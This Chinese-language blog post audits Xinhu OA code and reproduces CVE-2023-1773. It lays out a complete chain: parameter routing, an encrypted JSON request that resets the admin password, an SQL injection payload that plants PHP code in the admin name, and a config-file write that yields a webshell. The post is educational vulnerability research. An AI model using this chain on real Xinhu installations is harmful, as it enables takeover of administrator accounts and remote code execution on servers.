代码审计之CVE-2023-1773

参考文章:

[TOC]

0x00 前言

通过本次漏洞复现和代码审计,我应该掌握以下能力:

基础能力:

  • 怎么高效地查看源码和获取信息.

  • 如何不断溯源代码以得到目的信息.

  • 对以面向对象为核心的项目的特点做一个总结.

  • 怎么触发对应方法?如果在前端可控,又该怎么构造数据包

  • 熟悉攻击链,明白攻击链每一环的条件和作用.

  • 掌握漏洞复现和代码审计的一般流程.

进阶能力:

  • 独立审计一些简单的漏洞.

  • 掌握一些代码审计工具并用来解决漏洞.

  • 高阶目标:掌握项目框架.

0x01 漏洞简介

CVE-2023-1773

产品:信呼oa

影响版本:<=2.32

开源地址:https://github.com/rainrocka/xinhu/commits/master/

0x02 入口分析

index.php

本次从index.php入手,先放出代码:

image-20240711102100208

对本段代码有以下问题:

  1. 各个变量有什么用?
  2. 不认识这些方法.
  3. 这段代码的功能有哪些?
  4. 这段代码哪些地方可以被利用?

我们一点一点看:

get()方法溯源

1
$_uurl     = $rock->get('rewriteurl');

不认识$rock->get('rewriteurl'),那么我们不断溯源。

image-20240711103002850

这里面又有isempt()方法和jmuncode()方法不认识,但是从名字上可以窥见其功能一二。

但是我们也要明白,项目往往会重写一些方法。同时,项目的方法是经过一层层封装的,越表层文件的方法往往被封装了很多次,需要我们不断溯源直至最底层的方法。

先看看isempt()方法:

image-20240711103635340

注释给出来了,就不需要继续溯源了——溯源的目的就是知道特定代码的作用

再看看jmuncode()方法

image-20240711103902949

这段代码的作用给CHATGPT喂喂:对参数做一定的XSS过滤,转义单引号并去除空格。

总结一下get()方法的作用:获取GET传参中的值(第二个参数是默认值),并做了一定的xss过滤等处理,其中对单引号进行了转义,去除空格

另外,get()方法是可控的

View.php

思考

通过对网页的观察,我们开始怀疑$d,$m,$a等与GET参数有关,再大概扫几眼项目结构,怀疑这几个参数可以拼接路径。

对前端和项目结构的信息搜集也是很重要的,换言之,我们要想办法在任何地方获取信息,而不是局限自身于项目源码。

思考在哪些地方可以用到这些变量,进言之,哪个页面可以利用这些变量拼接目录。

View.php执行该功能,部分源码如下:

image-20240711110303020

image-20240711110354053

gettoken()方法溯源过程(可跳)

1
if(!isset($ajaxbool))$ajaxbool = $rock->jm->gettoken('ajaxbool', 'false');

不知道gettoken()方法的作用,溯源gettoken()方法。下面详细讲讲溯源过程:

  1. 要知道该方法的作用,ctrl+点击该方法,发现点不动。
  2. 点击jm,看看是否有该方法的声明或实现。发现没有。
  3. jm类没有,那么找上级$rock看看。也没有。
  4. $rock的上级看看,也没有。
  5. 上大招:ctrl+shift+f——全局搜索:function gettoken(),找到了:jmChajian.php

image-20240711111821357

  • 该怎么按照溯源方式找到这个文件?

rocktokenarr是个数组,这个信息并没有什么用,再回到jmChajian.php

gettoken()函数的作用是根据传入的参数 $na 来获取对应的 token 值。如果在 $this->rocktokenarr 数组中找到了对应的键 $na,则返回该值;否则,调用 $this->rock->get($na, $dev) 方法来获取值,并将其作为结果返回。

那么总结一下,$ajaxbool从GET参数里获得。

可以见得,上面的步骤对漏洞解决好像没有作用,但是写在这里是为了学习溯源过程,毕竟:磨刀不误砍柴工

代码分析

参数处理

View.php首先对各个GET参数进行拆分,存入并拼接路径。

image-20240711150108140

对GET参数m进行拆分。

文件包含

image-20240711150357453

出现了一个常量ROOT_PATH$p,溯源去弄明白它们的值。

溯源dirname()方法,发现是个不可嵌入式存根——底层方法,那我们直接上网搜索即可。

dirname() 是一个 PHP 内置函数,用于返回一个路径中的目录部分。它会返回一个字符串,该字符串包含了指定路径中的目录部分,而不包括文件名部分。

dirname(__FILE__) 返回当前文件的目录名,而 dirname(dirname(__FILE__)) 则返回当前文件的上一级目录的目录名。

因此,这行代码的作用是定义一个常量 ROOT_PATH,其值是当前文件的上一级目录的路径,且路径中的反斜杠被替换为斜杠。这样可以方便地在项目中引用该常量,以获取项目根目录的路径。

当前文件路径:···/src/include/View.php,可知ROOT_PATH/src

$p

1
$p        = PROJECT;

溯源PROJECT

1
if(!defined('PROJECT'))define('PROJECT', $rock->get('p', 'webmain'));

一般来说$p=webmain,当然也可以GET参数控制,这里我们只用到webmain

最后溯源一下strformat()方法(其实可以直接猜出该方法的作用):

image-20240711145022332

溯源stringformat()方法:

image-20240711145254752

总结一下strformat()的作用:对一个字符串进行格式化处理,通过替换占位符来动态生成最终的字符串输出。

明明一眼可以猜出的作用,通过多次溯源才得到,这就是审计面向对象的一个痛楚。

再看看下面的文件包含:

三个路径:

$actpath=/src/p/d/_m

$catfile=/src/p/d/_m/mAction.php

$catfile1=/src/p/d/_m/_mAction.php

先包含$catfile1$catfile后还有代码,直接喂给GPT:

首先是 method_exists()方法:

在PHP中,method_exists() 函数用于检查一个对象或类是否具有指定的方法。其语法如下:

1
bool method_exists ( mixed $object , string $method_name )
  • $object:表示要检查的对象或类名。
  • $method_name:表示要检查的方法名。

method_exists() 函数返回一个布尔值,如果对象或类中存在指定的方法,则返回 true,否则返回 false

image-20240711153547847

通过对$ajaxbool,也就是GET[‘ajax’]的调控,可以实例化不同的对象。

如果$xhrock存在$actname方法,执行该方法并把结果echo出来。至于beforeAction()方法和afterAction()方法不过多注意。

深入思考

假设:a=index,m=reimpalt|api,d=task&p=webmain,ajax=false,会发生什么?

$catfile=/src/webmain/task/api/reimplatAction.php

$clsname=reimplatClassAction

$xhrock=new reimplatClassAction()

$action=indexAction

$actbstr=$xhrock->$actname()

会实例化reimplatClassAction对象,并执行indexAction()方法(只要实例化对象就可以触发对应方法)。请记住这段分析,下文会用到。

剩下的代码跟渲染有关,不赘叙。

参数利用

p,d,_m都被用来拼接路径,m被拼接成mAction.php文件。对于参数a,如果$ajax=true,拼接为aAjax,否则被拼接成aAction。

很明显,a的作用是确定方法。这里引用一下大佬的解释:

m可以用|分隔,分隔的时候取m[0]为action php。分别判断m[0]Action.php,m[1]Action.php是否存在,存在都会进行文件包含m:模版文件内容 拼接路径为wen主目录路径+d+mAction.phpd:webmain下面的action的前置路径,这里如果当m存在|的时候,会将|的后面部分拼接到d后面a:Class action里面对应的方法调用ajaxbool 如果为true,则会调用$aAjax的方法,如果为false,直接调用$aAction方法。如果$ajaxbool == ‘html’ || $ajaxbool == ‘false’ 则会进行模版渲染。所以调用的方法是ACtion或者Ajax结尾

思考可控

包含了两个文件,$catfile1的可控性不是很强,但是$catfile可以被很好地控制。

这里引用一下师傅博客的解释:

其实actfile1我们并不能做到真正完全的可控,因为其最后的拼接是$_m.$_m,就意味着最后包含的php文件的前缀名必须与上级目录相同,具有一定的局限性,这里我们侧重观察actfile被包含后的操作(实际上actfile1被包含后也确实并没有进行更多的操作了),接下来的分析围绕着actfile,$classname变量由$a和”ClassAction”拼接起来,$a可控。,$actname变量由$a和”Action”拼接起来,$a可控。如果ajaxbool为true那么$actname由$a和”Ajax”拼接,$ajaxbool可控(前文提到控制GET传参)。然后new一个名为$classname的值的类,判断该对象中是否存在名为$actname的方法,如果存在,就执行并把结果echo出来

小结

经过以上的分析,我们知道了如何激发一个文件:通过参数拼接然后包含对应文件。另外,只要包含了特定文件,也可以触发对应的方法。也就是说:如果想利用某个方法,只需要构造对应的GET参数。

再深入一点:index.php会包含View.php,我们只需要在index.php操作即可。

0x03 寻找漏洞

前言

我们知道了参数的利用过程,但这不代表找到了漏洞,这就像找到了入口,却没有找到宝藏。

由于实力有限,这里直接给出一个漏洞点,之后我会下载有关寻找漏洞和代码审计的工具。

文件写入与包含

方法与要求

如果可以在某个文件中写入木马并包含该文件,上蚁剑,即可实现getshell

为了实现该目的,我们需要哪些条件呢?

  • 可以执行写入的文件A与被写入的文件B
  • 怎么写入A文件
  • 写入后该如何包含B文件

具体实现

/webmain/system/cog/cogAction.php下的cogClassAction::savecongAjax()方法可以执行文件写入,写入到/src/webmain/webmainConfig.php,具体代码如下:

image-20240711165604318

代码不难理解,重点是可控点在哪里,在$this->adminname

为什么在这里,我们不妨尝试溯源一下$this->adminname

溯源$this->adminname

点击adminname

image-20240711165851332

往下找,肯定有赋值语句:

image-20240711165924921

点击右边绿色的adminname,发现点击不了。思考是不是getsession()方法控制左边adminname的值:

image-20240711170058765

这就是不断封装,点击session()方法,点击不了。点击rock看看情况:

image-20240711170235918

点击绿色的rock,到了config.php,并没有session()的痕迹:

image-20240711170400038

再往上层(底层)找,在rockClass.php里有:

image-20240711171251569

setsession()session()上面,一不留神就会忽略掉。这里其实有一层逻辑关系(先setssion再使用session),不过相当隐晦,我也是事后才知道。

那么我们应该溯源setsession()

······

最后确定$this->adminname是从数据库里面提取的。那么我们只需要改变数据库里对应的值即可,也就是SQL注入改变对应的值。

SQL注入

bp里的$ajax参数有误,是$ajaxbool,因为默认是false所以部分情况没影响,这里不做修改,请读者注意!

/src/webmain/task/api/reimplatAction.php文件下有SQL注入点

修改密码(非SQL注入,但别跳)

修改密码比较简单,代码如下:

image-20240711193634666

溯源得知arrvalue()方法可以获取数组对应的值。

思路也比较简单:激活对应方法即可,下面有几个问题需要解决:

  • 参数在哪里输入
  • 怎么使参数符合要求
  • 怎么激活对应方法
寻找参数输入点

image-20240711194528749

$data溯源:

image-20240711194554428

$bodystr溯源:

image-20240711194641234

$body溯源:

image-20240711194707054

getpostdata()溯源:

image-20240711194801271

喂给GPT:

这段代码的目的是从POST请求中获取数据。如果$GLOBALS['HTTP_RAW_POST_DATA']存在,它将首先尝试从那里获取数据。如果这个变量为空或不存在,它将尝试从php://input中获取POST请求的数据,并返回处理后的数据。

溯源'HTTP_RAW_POST_DATA'发现是存根,再喂给GPT:

$HTTP_RAW_POST_DATA 是一个在 PHP 5.2.0 版本中被废弃的全局变量,用于存储原始的 POST 请求数据。这个变量包含了通过 POST 方法发送到服务器的原始数据,而不是经过 PHP 解析后的数据。

在 PHP 5.6.0 版本中,这个变量被移除,因为它会导致一些安全问题。取而代之的是使用 php://input 来获取原始的 POST 数据。php://input 是一个只读流,可以用于读取 POST 请求的原始数据

一言以蔽之:获取请求体数据。

使参数符合要求

image-20240711195526697

代码会经过一次解密,所以我们要先加密一次,把加密后的数据再发送即可正确解析。

此外,解密后的数据会被json_decode()方法执行一次,溯源json_decode()方法,结果是存根,喂给GPT:

json_decode() 是一个在 PHP 中用于解析 JSON 字符串的非常有用的函数,可以方便地将 JSON 数据转换为 PHP 中的数据结构。

很明显,我们的请求体参数是json格式的,根据程序要求构造一个json数据包:

1
2
3
4
5
{
"msgtype": "editpass",
"user": "admin",
"pass": "666"
}

注意:json只允许双引号包裹数据,用单引号是错的,这一点我被卡了好久。

回顾上文,我们需要把该数据包加密。有strunlook()方法,那么应该有strlook()方法(这个读者可以自己寻找,不做溯源):

image-20240711200628706

再看看strunlook()代码:

image-20240711200710913

二者比较对称,不做赘叙。

现在需要修改程序:

image-20240711201718616

增加:

1
2
$exp = $body;
echo $this->jm->strlook($exp, $key);
激活对应的方法

路径和方法:/src/webmain/task/api/reimplatAction.phpreimplatClassAction::indexAction()方法

转换为GET参数:

index.php/?a=index&m=reimpalt|api&d=task&p=webmain&ajax=false

bp请求包如下:(必须是POST请求)

image-20240711205505138

开始操作

发送json数据包加密:

1
{"msgtype": "editpass","user": "admin","pass": "666”}

image-20240711210324796

发送加密字符串以修改密码:

image-20240711210415934

重新登入发现密码已改。

修改adminname

我选择$msgtype=='editmobile'

image-20240711210644660

m()方法

image-20240711211041938

包含相关文件,主要作用是锁定表。参数是admin,锁定xinhu_admin

update()方法

溯源得知数据库是mysqli,寻找update()方法的底层语句:

image-20240711212337944

payload

image-20240711165604318

目标语句:

1
update xinhu_admin set `mobile`=123’, name=‘\n$_POST[1];//where `user`=admin;

payload_0:123’, name=‘\n$_POST[1];//

payload_1:

1
2
3
4
5
{
"msgtype": "editmobile",
"user": "admin",
"mobile": "123’, name=‘\n$_POST[1];//"
}

bp如图:

image-20240711215529745

修改成功

更新adminname

本质上是要触发cogAction.php文件中savecongAjax()方法:

image-20240711213830817

之后退出重登,蚁剑连上去即可。

0x04 总结

本次漏洞复现和代码审计收获颇丰。下一篇文章会对上面的能力要求做一个总结。